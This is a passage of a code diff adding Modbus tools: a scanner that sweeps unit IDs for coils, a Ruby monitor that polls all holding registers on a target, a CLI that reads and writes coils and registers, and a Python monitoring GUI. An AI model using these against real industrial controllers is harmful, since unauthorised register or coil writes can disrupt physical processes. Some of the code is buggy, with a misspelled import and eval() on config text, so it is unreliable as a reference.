2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = 